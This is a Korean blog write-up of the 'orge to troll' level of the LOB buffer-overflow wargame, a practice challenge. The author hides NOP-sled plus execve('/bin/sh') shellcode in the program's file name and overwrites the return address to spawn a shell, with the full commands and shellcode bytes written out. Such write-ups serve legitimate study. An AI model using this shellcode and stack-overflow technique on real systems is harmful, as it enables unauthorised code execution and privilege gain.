ANX1-Z3R0의 불안극복(不安克服)

009. orge to troll | anxi0 본문

HACKING/[SYSTEM HACKING] LOB

009. orge to troll | anxi0

ANX1Z3R0 2019. 2. 19. 00:46

orge to troll,


오우거랑 트롤인데,


troll에 대한 이미지 검색결과ogre에 대한 이미지 검색결과


둘이 뭐가 뭔지 솔직히 모르겠네;; 나만 그런가 (당신은 이미 을 알고 있다!)


바로 가자.

^ 어디가 바뀌었다고 친절히 말해주는 lob


argc가 2개라니...

그럼 다른 곳으로 써주면 되잖니!

파일명을 바꾸자. NOP + 쉘코드로


mv (move) 명령어는..... mv명령어




으쨋든 이제 방법을 알았으니 실행만 하면 된다!

<- mv troll `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'

(nop 너무 많이 넣으니깐 안 되더라....)


한 후 삽입


<- ./`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` `python -c 'print "A"*44 + "BBB\xbf"'`

후 코어 확인


때리자


./`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` `python -c 'print "A"*44 + "\xa0\xfa\xff\xbf"'`



교훈

1. 파이썬 킹갓 언어

2. 아는 게 있어야 문제를 푼다 

(그러니 처음 풀땐 답지 본다고 생각하지 말고, 끙끙 앓지말고 보고 이해하자)

3. 포기하지 않는 당신, 멋지다

'HACKING > [SYSTEM HACKING] LOB' 카테고리의 다른 글

011. vampire to skeleton | anxi0  (0) 2019.03.21
010. troll to vampire | anxi0  (0) 2019.02.19
008. darkelf to orge | anxi0  (0) 2019.02.18
007. wolfman to darkelf | anxi0  (0) 2019.02.17
006. orc to wolfman | anxi0  (0) 2019.02.17
Comments